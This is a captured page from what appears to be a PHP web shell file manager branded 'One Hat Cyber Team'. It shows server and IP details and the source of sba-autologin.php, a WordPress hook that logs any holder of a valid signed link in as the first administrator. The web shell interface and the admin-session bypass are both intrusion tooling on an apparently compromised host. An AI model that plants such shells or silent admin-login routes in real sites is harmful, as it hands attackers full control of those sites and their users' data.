⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.173
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sc1voni9410
/
View File Name :
sba-autologin.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; add_action( 'init', function() { if ( empty( $_GET['sba_sig'] ) || empty( $_GET['sba_ts'] ) ) return; $sig = sanitize_text_field( $_GET['sba_sig'] ); $ts = intval( $_GET['sba_ts'] ); $secret = defined('SBA_AUTOLOGIN_SECRET') ? SBA_AUTOLOGIN_SECRET : ''; $domain = strtolower(str_replace('www.','',$_SERVER['HTTP_HOST'])); $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $rk = 'sba_rate_'.md5($ip); $a = (int)get_transient($rk); if ($a >= 5) { wp_die('Trop de tentatives.','Limite',['response'=>429]); } set_transient($rk,$a+1,60); if (empty($secret)) { wp_die('Auto-login non configure.','Erreur',['response'=>500]); } if (abs(time()-$ts) > 60) { wp_die('Lien expire.','Expire',['response'=>403]); } $exp = hash_hmac('sha256',$domain.'|'.$ts,$secret); if (!hash_equals($exp,$sig)) { wp_die('Signature invalide.','Acces refuse',['response'=>403]); } $uk = 'sba_used_'.substr($sig,0,16); if (get_transient($uk)) { wp_die('Lien deja utilise.','Utilise',['response'=>403]); } set_transient($uk,1,120); $admins = get_users(['role'=>'administrator','number'=>1,'orderby'=>'ID','order'=>'ASC']); if (empty($admins)) { wp_die('Aucun admin.','Erreur',['response'=>500]); } $u = $admins[0]; wp_set_current_user($u->ID); wp_set_auth_cookie($u->ID,false); do_action('wp_login',$u->user_login,$u); wp_safe_redirect(admin_url()); exit; }, 1 );